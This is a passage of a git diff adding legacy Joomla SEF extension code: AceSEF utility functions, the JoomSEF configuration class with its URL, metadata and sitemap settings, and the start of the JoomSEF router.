$lang) { + $l = new stdClass(); + $l->code = $lang->shortcode; + $l->name = $lang->name; + + // Load languages + $languages[] = JHTML::_('select.option', $l->code, $l->name); + } + } + } + } + + return $languages; + } + + + function replaceLoop($search, $replace, $text) { + $count = 0; + + if (!is_string($text)) { + return $text; + } + + while ((strpos($text, $search) !== false) && ($count < 10)) { + $text = str_replace($search, $replace, $text); + $count++; + } + + return $text; + } + + + function getSefStatus() { + static $status; + + if (!isset($status)) { + $JoomlaConfig =JFactory::getConfig(); + + $status = array(); + $status['version_checker'] = (bool)$this->AcesefConfig->version_checker; + $status['php'] = (bool)version_compare(PHP_VERSION, '5.2.0', '>'); + $status['s_mod_rewrite'] = ''; + if (function_exists('apache_get_modules')) { + $modules = apache_get_modules(); + $status['s_mod_rewrite'] = (bool)in_array('mod_rewrite', $modules); + } + $status['sef'] = (bool)$JoomlaConfig->get('sef'); + $status['mod_rewrite'] = (bool)$JoomlaConfig->get('sef_rewrite'); + $status['htaccess'] = false; + if (file_exists(JPATH_ROOT. '/' .'.htaccess')) { + $filesize = filesize(JPATH_ROOT. '/' .'.htaccess'); + $status['htaccess'] = (bool)($filesize > 2060); + } + $status['live_site'] = $JoomlaConfig->get('live_site'); + if (AcesefUtility::JoomFishInstalled()) { + $status['jfrouter'] = JPluginHelper::isEnabled('system', 'jfrouter'); + } + $status['acesef'] = (bool)$this->AcesefConfig->mode; + $status['plugin'] = JPluginHelper::isEnabled('system', 'acesef'); + $status['generate_sef'] = (bool)$this->AcesefConfig->generate_sef; + } + + return $status; + } + + function JoomFishInstalled() { + static $installed; + + if (!isset($installed)) { + $installed = JFile::exists(JPATH_ROOT. '/' .'administrator'. '/' .'components'. '/' .'com_joomfish'. '/' .'joomfish.php'); + } + + return $installed; + } + + + function getParam($text, $param) { + $params = new JParameter($text); + return $params->get($param); + } + + function storeParams($table, $id, $db_field, $new_params) { + $row = AcesefFactory::getTable($table); + if (!$row->load($id)) { + return false; + } + + $params = new JParameter($row->$db_field); + + foreach ($new_params as $name => $value) { + $params->set($name, $value); + } + + $row->$db_field = $params->toString(); + + if (!$row->check()) { + return false; + } + + if (!$row->store()) { + return false; + } + } + + // Clear texts from unwanted chars + function cleanText($text) { + $text = strip_tags($text); + $text = preg_replace(array('/&quot;/', '/&nbsp;/', '/&lt;/', '/&gt;/', '/&copy;/', '/&amp;/', '/&euro;/', '/&hellip;/'), ' ', $text); + $text = preg_replace(array('/"/', '/ /', '/</', '/>/', '/©/', '/&/', '/€/', '/…/'), ' ', $text); + $text = preg_replace("']*>.*?'si", ' ', $text); + $text = preg_replace('/]*>([^<]+)<\/a>/is', '\2 (\1)', $text); + $text = preg_replace('//', ' ', $text); + $text = preg_replace('/{.+?}/', ' ', $text); + $text = preg_replace('(\{.*?\})', ' ', $text); + $text = preg_replace('/\s\s+/', ' ', $text); + $text = preg_replace('/\n\n+/s', ' ', $text); + $text = preg_replace('/<[^<|^>]*>/u', ' ', $text); + $text = preg_replace('/{[^}]*}[\s\S]*{[^}]*}/u', ' ', $text); + $text = preg_replace('/{[^}]*}/u', ' ', $text); + $text = trim($text); + $text = str_replace(array('\r\n', '\r', '\n', '\t', '\n\n', '<', '>', ':', '#', '`', '”', '“', '¿', '\0', '\x0B', '"', '"', '"'), ' ', $text); + $text = preg_replace('/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/', ' ', $text); + while(strpos($text, ' ')) { + $text = str_replace(' ', ' ', $text); + } + + // Space + $text = preg_replace('/\s/u', ' ', $text); + + // Special chars + $text = self::replaceSpecialChars($text); + + $text = rtrim($text, "'"); + $text = rtrim($text, "\\"); + + return $text; + } + + // Replace some special chars + function replaceSpecialChars($text, $reverse = false) { + if (is_string($text)) { + if (!$reverse) { + $text = str_replace("\'", "'", $text); + $text = addslashes($text); + } else { + $text = stripslashes($text); + } + } + + return $text; + } + + // Get text from XML + function getXmlText($file, $variable) { + // Try to find variable + $value = null; + if (JFile::exists($file)) { + $xml =JFactory::getXMLParser('Simple'); + if ($xml->loadFile($file)) { + $root =& $xml->document; + $element =& $root->getElementByPath($variable); + $value = $element ? $element->data() : ''; + } + } + return $value; + } + + // Get Menu title + function getMenuTitle($Itemid, $start_level = 0, $length_level = 0) { + if (empty($Itemid)) { + return array(); + } + + static $menus = array(); + + $id = $Itemid; + if (!isset($menus[$id])) { + $joomfish = $this->AcesefConfig->joomfish_trans_url ? ', id' : ''; + + // Title or Alias + $part = 'name'; + if ($this->AcesefConfig->menu_url_part == 'alias') { + $part = 'alias'; + } + + $menus[$id] = array(); + + while ($Itemid > 0) { + $row = AceDatabase::loadObject("SELECT $part AS name, parent$joomfish FROM #__menu WHERE id = '$Itemid' AND published > 0"); + + if (is_null($row)) { + break; + } + + array_unshift($menus[$id], $row->name); + + $Itemid = $row->parent; + if ($this->AcesefConfig->parent_menus == '0') { + break; // Only last one + } + } + } + + if ($this->AcesefConfig->parent_menus == '1' && ($start_level != 0 || $length_level != 0) && !empty($menus[$id])) { + if ($length_level != 0) { + return array_slice($menus[$id], $start_level, $length_level); + } + else { + return array_slice($menus[$id], $start_level); + } + } + + return $menus[$id]; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/config.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/config.php new file mode 100644 index 00000000..42a83ff7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/config.php @@ -0,0 +1,962 @@ +|:|;|{|}|[|]|---|--|..|."; + /* string, suffix for "files" */ + var $suffix = ""; + /* string, file to display when there is none */ + var $addFile = ''; + /* trims friendly characters from where they shouldn't be */ + var $friendlytrim = "-|."; + /** + * generate canonical links + * @var bool + */ + var $canonicalLink = true; + /** + * page text + * @var string + */ + var $pagetext = "JText::_('PAGE')-%s"; + /** + * Should lang be part of path or suffix? + * @var bool + */ + var $langPlacement = _COM_SEF_LANG_PATH; + /* boolean, convert url to lowercase */ + var $lowerCase = true; + /* boolean, use the title_alias instead of the title */ + var $useAlias = false; + /** + * should we extract Itemid from URL? + * @var bool + */ + var $excludeSource = false; + /** + * should we extract Itemid from URL? + * @var bool + */ + var $reappendSource = false; + /** + * should we ignore multiple Itemids for the same page in database? + * @var bool + */ + var $ignoreSource = true; + /** + * excludes often changing variables from SEF URL and + * appends them as non-SEF query + * @var bool + */ + var $appendNonSef = true; + /** + * consider both URLs with/without / in theend valid + * @var bool + */ + var $transitSlash = true; + /** + * whether to use cache + * @var bool + */ + var $useCache = true; + /** + * maximum count of URLs in cache + * @var int + */ + var $cacheSize = 1000; + /** + * minimum hits count that URLs must have to get into cache + * @var int + */ + var $cacheMinHits = 10; + /** + * record hits for URLs in cache? + * @var bool + */ + var $cacheRecordHits = false; + /** + * Whether to show error message about cache corruption + * + * @var bool + */ + var $cacheShowErr = false; + /** + * translate titles in URLs using JoomFish + * @var bool + */ + var $translateNames = true; + /** int, id of #__content item to use for static page */ + var $page404 = 0; + /** + * record 404 pages? + * @var bool + */ + var $record404 = false; + /** + * Whether not to use tmpl=component for 404 page + * @var bool + */ + var $template404 = true; + /** + * if set to yes, the standard Joomla message will be also shown when 404 + * @var boolean + */ + var $showMessageOn404 = false; + /** + * whether to set the ItemID variable when Default 404 Page is displayed + * @var boolean */ + var $use404itemid = false; + /** + * ItemID used for the Default 404 page + * @var int + */ + var $itemid404 = 0; + /** + * Redirect nonSEF URLs to their SEF equivalents with 301 header? + * @var bool + */ + var $nonSefRedirect = true; + /** + * Use Moved Permanently redirection table? + * @var bool + */ + var $useMoved = true; + /** + * Use Moved Permanently redirection table? + * @var bool + */ + var $useMovedAsk = true; + /** + * Definitions of replacement characters. + * @var string + */ + var $replacements = "Á|A, Â|A, Å|A, Ă|A, Ä|A, À|A, Æ|A, Ć|C, Ç|C, Č|C, Ď|D, É|E, È|E, Ë|E, Ě|E, Ê|E, Ì|I, Í|I, Î|I, Ï|I, Ĺ|L, ľ|l, Ľ|L, Ń|N, Ň|N, Ñ|N, Ò|O, Ó|O, Ô|O, Õ|O, Ö|O, Ø|O, Ŕ|R, Ř|R, Š|S, Ś|O, Ť|T, Ů|U, Ú|U, Ű|U, Ü|U, Û|U, Ý|Y, Ž|Z, Ź|Z, á|a, â|a, å|a, ä|a, à|a, æ|a, ć|c, ç|c, č|c, ď|d, đ|d, é|e, ę|e, ë|e, ě|e, è|e, ê|e, ì|i, í|i, î|i, ï|i, ĺ|l, ń|n, ň|n, ñ|n, ò|o, ó|o, ô|o, ő|o, ö|o, ø|o, š|s, ś|s, ř|r, ŕ|r, ť|t, ů|u, ú|u, ű|u, ü|u, û|u, ý|y, ž|z, ź|z, ˙|-, ß|ss, Ą|A, µ|u, Ą|A, µ|u, ą|a, Ą|A, ę|e, Ę|E, ś|s, Ś|S, ż|z, Ż|Z, ź|z, Ź|Z, ć|c, Ć|C, ł|l, Ł|L, ó|o, Ó|O, ń|n, Ń|N, А|A, а|a, Б|B, б|b, В|V, в|v, Г|G, г|g, Д|D, д|d, Е|E, е|e, Ж|Zh, ж|zh, З|Z, з|z, И|I, и|i, Й|Y, й|y, К|K, к|k, Л|L, л|l, М|M, м|m, Н|N, н|n, О|O, о|o, П|P, п|p, Р|R, р|r, С|S, с|s, Т|T, т|t, У|U, у|u, Ф|F, ф|f, Х|Ch, х|ch, Ц|Ts, ц|ts, Ч|Ch, ч|ch, Ш|Sh, ш|sh, Щ|Sch, щ|sch, Ы|I, ы|i, Э|E, э|e, Ю|U, ю|iu, Я|Ya, я|ya, Ъ| , ъ| , Ь| , ь| "; + /* Array, contains predefined components. */ + var $predefined = array('0' => "com_login",'1' => "com_newsfeeds",'2' => "com_sef",'3' => "com_weblinks",'4' => "com_joomfish"); + /* String, contains URL to upgrade package located on server */ + var $serverUpgradeURL = "http://www.artio.cz/updates/joomsef3/upgrade.zip"; + /* String, contains URL to new version file located on server */ + var $serverNewVersionURL = "http://www.artio.cz/updates/joomla/joomsef3/version"; + /* String, contains URL to automatic upgrade script */ + var $serverAutoUpgrade = 'http://www.artio.net/joomla-auto-upgrade'; + /* String, contains URL to registration check script */ + var $serverLicenser = 'http://www.artio.net/license-check'; + /* Array, contains domains for different languages */ + var $langDomain = array(); + /** + * List of alternative acepted domains. (delimited by comma) + * @var string + */ + var $altDomain; + /** + * If set to yes, new SEF URLs won't be generated and only those already + * in database will be used + * @var boolean + */ + var $disableNewSEF = false; + /** + * If set to yes, the sid variable won't be removed from SEF url + * @var boolean + */ + var $dontRemoveSid = false; + /** + * If set to yes, the $_SERVER['QUERY_STRING'] will be set according to parsed variables + * @var boolean + */ + var $setQueryString = true; + /** + * If set to yes, the $_SERVER['QUERY_STRING'] will be set according to parsed variables + * @var boolean + */ + var $parseJoomlaSEO = true; + /** + * Semicolon separated list of global custom non-sef variables + * @var string + */ + var $customNonSef = ''; + /** + * If enabled, JoomSEF will try to set language according to user's browser setting + * @var boolean + */ + var $jfBrowserLang = true; + /** + * If enabled, JoomSEF will store the user's language selection in a cookie for next visit + * + * @var boolean + */ + var $jfLangCookie = true; + /** + * Array of [lang] => subdomain to use the subdomains for languages + * @var array + */ + var $jfSubDomains = array(); + /** + * Whether to use default index file for content sections and categories + * @var boolean + */ + var $contentUseIndex = true; + /** + * If set to yes, the URL variables will be checked + * to not contain the http://something.com or similar junk + * @var boolean + */ + var $checkJunkUrls = true; + /** + * Pipe (|) separated list of junk words to search for + * @var string + */ + var $junkWords = 'http:// http// https:// https// www. @'; + /** + * Semicolon separated list of variables to exclude from junk check + * @var boolean + */ + var $junkExclude = ''; + /** + * Sets if the non-SEF variables should be prevented from + * overwriting the parsed ones + * @var boolean + */ + var $preventNonSefOverwrite = true; + /** + * Main language - this language won't have language code added to URL + * @var mixed + */ + var $mainLanguage = 0; + /** + * Whether to allow UTF-8 characters in URL + * @var boolean + */ + var $allowUTF = false; + /** + * Whether to number duplicate URLs or use the duplicates management system + * @var boolean + */ + var $numberDuplicates = false; + /** + * Artio site login name + * @var string + */ + var $artioUserName = ''; + /** + * Artio site password + * @var string + */ + var $artioPassword = ''; + /** + * Artio download id + * @var string + */ + var $artioDownloadId = ''; + /** + * Enable URL source tracing + * @var bool + */ + var $trace = false; + /** + * Tracing depth if enabled + * @var int + */ + var $traceLevel = 3; + /** + * Create canonical link automatically for URLs with nonSEF variables + * + * @return SEFConfig + */ + var $autoCanonical = true; + /** + * Whether to SEF URLs containing the tmpl=component variable + * + * @var bool + */ + var $sefComponentUrls = false; + /** + * Whether to check for newer versions in control panel + * + * @var bool + */ + var $versionChecker = true; + /** + * Generator meta tag + * + * @var string + */ + var $tag_generator = ''; + /** + * Google key meta tag + * + * @var string + */ + var $tag_googlekey = ''; + /** + * Live.com key meta tag + * + * @var string + */ + var $tag_livekey = ''; + /** + * Yahoo key meta tag + * + * @var string + */ + var $tag_yahookey = ''; + /** + * Custom meta tags + * + * @var array + */ + var $customMetaTags = array(); + /** + * www and non-www domain handling + * + * @var int + */ + var $wwwHandling = _COM_SEF_WWW_NONE; + /** + * Enable metadata generation? + * + * @var bool + */ + var $enable_metadata = true; + /** + * Prefer joomsef tile? + * + * @var bool + */ + var $prefer_joomsef_title = true; + /** + * How to use sitename? + * + * @var int + */ + var $use_sitename = _COM_SEF_SITENAME_AFTER; + /** + * Sitename separator string + * + * @var string + */ + var $sitename_sep = '-'; + /** + * Rewrite keywords? + * + * @var bool + */ + var $rewrite_keywords = true; + /** + * Rewrite description? + * + * @var bool + */ + var $rewrite_description = true; + /** + * Prevent sitename duplicity? + * + * @var bool + */ + var $prevent_dupl = true; + /** + * Sets the tag behaviour + * @var int + */ + var $check_base_href = _COM_SEF_BASE_HOMEPAGE; + /** + * Internal variable for sitemap change flag + * + * @var bool + */ + var $sitemap_changed = true; + /** + * Sitemap XML file name + * + * @var string + */ + var $sitemap_filename = 'sitemap'; + /** + * Default Sitemap indexed state + * + * @var bool + */ + var $sitemap_indexed = false; + /** + * Default Sitemap change frequency + * + * @var string + */ + var $sitemap_frequency = 'weekly'; + /** + * Default Sitemap priority + * + * @var string + */ + var $sitemap_priority = '0.5'; + /** + * Which items show in the sitemap + * + * @var bool + */ + var $sitemap_show_date = true; + var $sitemap_show_frequency = true; + var $sitemap_show_priority = true; + /** + * Whether to automatically ping generated Sitemap to google, yahoo and bing + * + * @var bool + */ + var $sitemap_pingauto = true; + /** + * Yahoo application ID + * + * @var string + */ + var $sitemap_yahooId = ''; + /** + * Array of sitemap ping services + * + * @var array + */ + var $sitemap_services = array('http://blogsearch.google.com/ping/RPC2', 'http://rpc.pingomatic.com/'); + /** + * Whether to add the rel="nofollow" to external links + * + * @var bool + */ + var $external_nofollow = false; + /** + * Whether internal links for words will be enabled + * + * @var bool + */ + var $internal_enable = true; + /** + * Whether to add rel="nofollow" to internal links + * + * @var bool + */ + var $internal_nofollow = false; + /** + * Whether to open internal links in new window + * + * @var bool + */ + var $internal_newwindow = false; + /** + * How many word occurences will be linked + * + * @var int + */ + var $internal_maxlinks = 1; + /** + * Whether to display ARTIO Newsfeed on control panel + * + * @var bool + */ + var $artioFeedDisplay = true; + /** + * ARTIO Newsfeed URL + * + * @var string + */ + var $artioFeedUrl = 'http://www.artio.net/joomsef-news/rss'; + /** + * Whether to rewrite index.php links in content and redirect them to / + * + * @var bool + */ + var $fixIndexPhp = true; + /** + * Whether to fix links with missing question mark in query string (ie. VM issue) + * + * @var bool + */ + var $fixQuestionMark = true; + /** + * Whether to fix document format after route + * + * @var bool + */ + var $fixDocumentFormat = false; + /** + * Whether to use current menu item's query for pure index.php links + * (default Joomla's behaviour) + * + * @var bool + */ + var $indexPhpCurrentMenu = true; + /** + * Whether to filter global variables + * + * @var bool + */ + var $useGlobalFilters = true; + /** + * Whether to be tolerant to spaces around the URL + * + * @var bool + */ + var $spaceTolerant = true; + /** + * Whether to redirect URLs parsed by default Joomla! router to JoomSEF URLs + * + * @var bool + */ + var $redirectJoomlaSEF = true; + + + function SEFConfig() + { + $sef_config_file = JPATH_ROOT. '/' .'administrator'. '/' .'components'. '/' .'com_sef'. '/' .'configuration.php'; + + if (file_exists($sef_config_file)) { + include($sef_config_file); + } + + if (isset($enabled)) + $this->enabled = $enabled; + if (isset($replacement)) + $this->replacement = $replacement; + if (isset($pagerep)) + $this->pagerep = $pagerep; + if (isset($stripthese)) + $this->stripthese = $stripthese; + if (isset($friendlytrim)) + $this->friendlytrim = $friendlytrim; + if (isset($suffix)) + $this->suffix = $suffix; + if (isset($addFile)) + $this->addFile = $addFile; + + // page text + if (isset($pagetext)) $this->pagetext = $pagetext; + + if (isset($lowerCase)) + $this->lowerCase = $lowerCase; + if (isset($replacement)) + $this->useAlias = $useAlias; + if (isset($page404)) + $this->page404 = $page404; + if (isset($record404)) + $this->record404 = $record404; + if (isset($template404)) + $this->template404 = $template404; + if (isset($showMessageOn404)) + $this->showMessageOn404 = $showMessageOn404; + if (isset($use404itemid)) + $this->use404itemid = $use404itemid; + if (isset($itemid404)) + $this->itemid404 = $itemid404; + if (isset($predefined)) + $this->predefined = $predefined; + if (isset($replacements)) + $this->replacements = $replacements; + if (isset($langPlacement)) + $this->langPlacement = $langPlacement; + if (isset($alwaysUseLang)) + $this->alwaysUseLang = $alwaysUseLang; + if (isset($translateNames)) + $this->translateNames = $translateNames; + if (isset($excludeSource)) + $this->excludeSource = $excludeSource; + if (isset($reappendSource)) + $this->reappendSource = $reappendSource; + if (isset($transitSlash)) + $this->transitSlash = $transitSlash; + if (isset($appendNonSef)) + $this->appendNonSef = $appendNonSef; + if (isset($langDomain)) + $this->langDomain = $langDomain; + if (isset($altDomain)) + $this->altDomain = $altDomain; + if (isset($ignoreSource)) + $this->ignoreSource = $ignoreSource; + if (isset($useCache)) + $this->useCache = $useCache; + if (isset($cacheSize)) + $this->cacheSize = $cacheSize; + if (isset($cacheMinHits)) + $this->cacheMinHits = $cacheMinHits; + if (isset($nonSefRedirect)) + $this->nonSefRedirect = $nonSefRedirect; + if (isset($useMoved)) + $this->useMoved = $useMoved; + if (isset($useMovedAsk)) + $this->useMovedAsk = $useMovedAsk; + if (isset($disableNewSEF)) + $this->disableNewSEF = $disableNewSEF; + if (isset($dontRemoveSid)) + $this->dontRemoveSid = $dontRemoveSid; + if (isset($setQueryString)) + $this->setQueryString = $setQueryString; + if (isset($parseJoomlaSEO)) + $this->parseJoomlaSEO = $parseJoomlaSEO; + if (isset($customNonSef)) + $this->customNonSef = $customNonSef; + if (isset($canonicalLink)) + $this->canonicalLink = $canonicalLink; + if (isset($jfBrowserLang)) + $this->jfBrowserLang = $jfBrowserLang; + if (isset($jfLangCookie)) + $this->jfLangCookie = $jfLangCookie; + if (isset($jfSubDomains)) + $this->jfSubDomains = $jfSubDomains; + if (isset($contentUseIndex)) + $this->contentUseIndex = $contentUseIndex; + if (isset($checkJunkUrls)) + $this->checkJunkUrls = $checkJunkUrls; + if (isset($junkWords)) + $this->junkWords = $junkWords; + if (isset($junkExclude)) + $this->junkExclude = $junkExclude; + if (isset($preventNonSefOverwrite)) + $this->preventNonSefOverwrite = $preventNonSefOverwrite; + if (isset($mainLanguage)) + $this->mainLanguage = $mainLanguage; + if (isset($allowUTF)) + $this->allowUTF = $allowUTF; + if (isset($numberDuplicates)) + $this->numberDuplicates = $numberDuplicates; + if (isset($artioUserName)) + $this->artioUserName = $artioUserName; + if (isset($artioPassword)) + $this->artioPassword = $artioPassword; + if (isset($artioDownloadId)) + $this->artioDownloadId = $artioDownloadId; + if (isset($trace)) + $this->trace = $trace; + if (isset($traceLevel)) + $this->traceLevel = $traceLevel; + if (isset($autoCanonical)) + $this->autoCanonical = $autoCanonical; + if (isset($cacheRecordHits)) + $this->cacheRecordHits = $cacheRecordHits; + if (isset($sefComponentUrls)) + $this->sefComponentUrls = $sefComponentUrls; + if (isset($versionChecker)) + $this->versionChecker = $versionChecker; + if (isset($tag_generator)) + $this->tag_generator = $tag_generator; + if (isset($tag_googlekey)) + $this->tag_googlekey = $tag_googlekey; + if (isset($tag_livekey)) + $this->tag_livekey = $tag_livekey; + if (isset($tag_yahookey)) + $this->tag_yahookey = $tag_yahookey; + if (isset($customMetaTags)) + $this->customMetaTags = $customMetaTags; + if (isset($wwwHandling)) + $this->wwwHandling = $wwwHandling; + if (isset($enable_metadata)) + $this->enable_metadata = $enable_metadata; + if (isset($prefer_joomsef_title)) + $this->prefer_joomsef_title = $prefer_joomsef_title; + if (isset($use_sitename)) + $this->use_sitename = $use_sitename; + if (isset($sitename_sep)) + $this->sitename_sep = $sitename_sep; + if (isset($rewrite_keywords)) + $this->rewrite_keywords = $rewrite_keywords; + if (isset($rewrite_description)) + $this->rewrite_description = $rewrite_description; + if (isset($prevent_dupl)) + $this->prevent_dupl = $prevent_dupl; + if (isset($check_base_href)) + $this->check_base_href = $check_base_href; + if (isset($sitemap_changed)) + $this->sitemap_changed = $sitemap_changed; + if (isset($sitemap_filename)) + $this->sitemap_filename = $sitemap_filename; + if (isset($sitemap_indexed)) + $this->sitemap_indexed = $sitemap_indexed; + if (isset($sitemap_frequency)) + $this->sitemap_frequency = $sitemap_frequency; + if (isset($sitemap_priority)) + $this->sitemap_priority = $sitemap_priority; + if (isset($sitemap_show_date)) + $this->sitemap_show_date = $sitemap_show_date; + if (isset($sitemap_show_frequency)) + $this->sitemap_show_frequency = $sitemap_show_frequency; + if (isset($sitemap_show_priority)) + $this->sitemap_show_priority = $sitemap_show_priority; + if (isset($sitemap_pingauto)) + $this->sitemap_pingauto = $sitemap_pingauto; + if (isset($sitemap_yahooId)) + $this->sitemap_yahooId = $sitemap_yahooId; + if (isset($sitemap_services)) + $this->sitemap_services = $sitemap_services; + if (isset($external_nofollow)) + $this->external_nofollow = $external_nofollow; + if (isset($internal_enable)) + $this->internal_enable = $internal_enable; + if (isset($internal_nofollow)) + $this->internal_nofollow = $internal_nofollow; + if (isset($internal_newwindow)) + $this->internal_newwindow = $internal_newwindow; + if (isset($internal_maxlinks)) + $this->internal_maxlinks = $internal_maxlinks; + if (isset($cacheShowErr)) + $this->cacheShowErr = $cacheShowErr; + if (isset($artioFeedDisplay)) + $this->artioFeedDisplay = $artioFeedDisplay; + if (isset($fixIndexPhp)) + $this->fixIndexPhp = $fixIndexPhp; + if (isset($indexPhpCurrentMenu)) + $this->indexPhpCurrentMenu = $indexPhpCurrentMenu; + if (isset($fixDocumentFormat)) + $this->fixDocumentFormat = $fixDocumentFormat; + if (isset($useGlobalFilters)) + $this->useGlobalFilters = $useGlobalFilters; + if (isset($spaceTolerant)) + $this->spaceTolerant = $spaceTolerant; + if (isset($fixQuestionMark)) + $this->fixQuestionMark = $fixQuestionMark; + if (isset($redirectJoomlaSEF)) + $this->redirectJoomlaSEF = $redirectJoomlaSEF; + } + + function saveConfig($return_data = 0) + { + $database =ShlDbHelper::getDb(); + $sef_config_file = JPATH_ADMINISTRATOR. '/' .'components'. '/' .'com_sef'. '/' .'configuration.php'; + + $config_data = ''; + //build the data file + $config_data .= "<?php\n"; + $config_data .= +'/** + * SEF component for Joomla! 1.5 + * + * @author ARTIO s.r.o. + * @copyright ARTIO s.r.o., http://www.artio.cz + * @package JoomSEF + * @version 3.1.0 + * @license GNU/GPLv3 http://www.gnu.org/copyleft/gpl.html + */ + +'; + foreach ($this as $key => $value) { + if ($key != '0') { + $config_data .= "\$$key = "; + switch (gettype($value)) { + case 'boolean': { + $config_data .= ($value ? 'true' : 'false'); + break; + } + case 'string': { + // The only character that needs to be escaped is double quote (") + $config_data .= '"' . str_replace('"', '\"', stripslashes($value)) . '"'; + break; + } + case 'integer': + case 'double': { + $config_data .= strval($value); + break; + } + case 'array': { + $datastring = ''; + foreach ($value as $key2 => $data) { + $datastring .= '\'' . $key2 . '\' => "' . str_replace('"', '\"', stripslashes($data)) . '",'; + } + $datastring = substr($datastring, 0, - 1); + $config_data .= "array($datastring)"; + break; + } + default: { + $config_data .= 'null'; + break; + } + } + } + $config_data .= ";\n"; + } + $config_data .= '?>'; + if ($return_data == 1) { + return $config_data; + } else { + // write to disk + jimport( 'joomla.filesystem.file' ); + + $trans_tbl = get_html_translation_table(HTML_ENTITIES); + $trans_tbl = array_flip($trans_tbl); + $config_data = strtr($config_data, $trans_tbl); + $ret = JFile::write($sef_config_file, $config_data); + + return $ret; + } + } + + function getPageText() + { + $pagetext = $this->pagetext; + + // if JText is used, parse out the string + if (strpos($pagetext, 'JText::_(') === 0) { + // make sure we use single quotes + $pagetext = str_replace('"', '\'', $pagetext); + // find first and second quote + $quot1 = strpos($pagetext, '\''); + $quot2 = strpos($pagetext, '\'', $quot1 + 1); + // replace JText text with real text + $pagetext = JText::_(substr($pagetext, $quot1 + 1, $quot2 - strlen($pagetext))) . substr($pagetext, strpos($pagetext, ')', $quot2) + 1); + } + + return $pagetext; + } + + /** + * Return array of URL characters to be replaced. + * + * @return array + */ + function getReplacements() + { + static $replacements; + + if( isset($replacements) ) { + return $replacements; + } + + $replacements = array(); + + $str = trim($this->replacements); + if( $str != '' ) { + $items = explode(',', $str); + foreach ($items as $item) { + @list ($src, $dst) = explode('|', trim($item)); + + // $dst can be empty, so the character can be removed + if( trim($src) == '' ) { + continue; + } + + $replacements[trim($src)] = trim($dst); + } + } + + return $replacements; + } + + function getAltDomain() + { + static $domains; + + if (!isset($domains)) { + $domains = explode(',', $this->altDomain); + } + + return $domains; + } + + function &getJunkWords() + { + static $words; + + if (!isset($words)) { + $words = explode(' ', $this->junkWords); + + if( count($words) ) { + foreach($words as $key => $val) { + $words[$key] = trim($val); + + if( empty($words[$key]) ) { + unset($words[$key]); + } + } + } + } + + return $words; + } + + function &getJunkExclude() + { + static $excludes; + + if (!isset($excludes)) { + $excludes = explode(';', $this->junkExclude); + + if( count($excludes) ) { + foreach($excludes as $key => $val) { + $excludes[$key] = trim($val); + + if( empty($excludes[$key]) ) { + unset($excludes[$key]); + } + } + } + } + + return $excludes; + } + + /** + * Set config variables. + * + * @param string $var + * @param mixed $val + * @return bool + */ + function set($var, $val) + { + if (isset($this->$var)) { + $this->$var = $val; + return true; + } + return false; + } + + function &getConfig() + { + static $instance; + if (!isset($instance)) { + $instance = new SEFConfig(); + } + return $instance; + } + +} +?> diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/joomsef.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/joomsef.php new file mode 100644 index 00000000..6cd36ac4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/joomsef.php @@ -0,0 +1,2839 @@ +triggerEvent('onSefStart'); + + $prevLang = ''; // for correct title translations + + // do not SEF URLs with tmpl=component if set to + if (!$sefConfig->sefComponentUrls && ($uri->getVar('tmpl') == 'component')) { + $mainframe->triggerEvent('onSefEnd'); + return; + } + + // check if this is site root; + // if site is root, do not do anything else + // except if we have to set language every time + $vars = $uri->getQuery(true); + if (empty($vars) && (!SEFTools::JoomFishInstalled() || !$sefConfig->alwaysUseLang)) { + // trigger onSefEnd patches + $mainframe->triggerEvent('onSefEnd'); + $uri = new JURI(JURI::root()); + return; + } + + // check URL for junk if set to + if ($sefConfig->checkJunkUrls) { + $junkWords =& $sefConfig->getJunkWords(); + $seferr = false; + + if (substr($uri->getVar('option', ''), 0, 4) != 'com_') { + $seferr = true; + } + elseif (count($junkWords)) { + $exclude =& $sefConfig->getJunkExclude(); + + foreach ($vars as $key => $val) { + if (in_array($key, $exclude)) continue; + + // Check junk words + foreach ($junkWords as $word) { + if (is_string($val)) { + if (strpos($val, $word) !== false) { + $seferr = true; + break; + } + } + } + if ($seferr) break; + } + } + + if ($seferr) { + // trigger onSefEnd patches + $mainframe->triggerEvent('onSefEnd'); + + // fix the path + $path = $uri->getPath(); + if( $path[0] != '/' ) { + $path = JURI::base(true) . '/' . $path; + $uri->setPath($path); + } + + return; + } + } + + if (SEFTools::JoomFishInstalled()) { + $lang = $uri->getVar('lang'); + + // if lang not set + if (empty($lang)) { + if ($sefConfig->alwaysUseLang) { + // add lang variable if set to + $uri->setVar('lang', SEFTools::getLangCode()); + } else { + // delete lang variable so it is not empty + $uri->delVar('lang'); + } + } + + // get the URL's language and set it as global language (for correct translation) + $lang = $uri->getVar('lang'); + $code = ''; + if (!empty($lang)) { + $code = SEFTools::getLangLongCode($lang); + if (!is_null($code)) { + if ($code != SEFTools::getLangLongCode()) { + $language =JFactory::getLanguage(); + $prevLang = $language->setLanguage($code); + $language->load(); + } + } + } + + // set the live_site according to language + if ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN) { + $u = JURI::getInstance(); + $curdomain = $sefdomain = $u->getHost(); + + if (!empty($lang)) { + if (isset($sefConfig->jfSubDomains[$lang])) { + $sefdomain = $sefConfig->jfSubDomains[$lang]; + //$uri->delVar('lang'); + } + } + + $config =JFactory::getConfig(); + $config->set('joomfish.current_host', $curdomain); + $config->set('joomfish.sef_host', $sefdomain); + } + } + + // if there are no variables and only single language is used + $vars = $uri->getQuery(true); + if (empty($vars) && 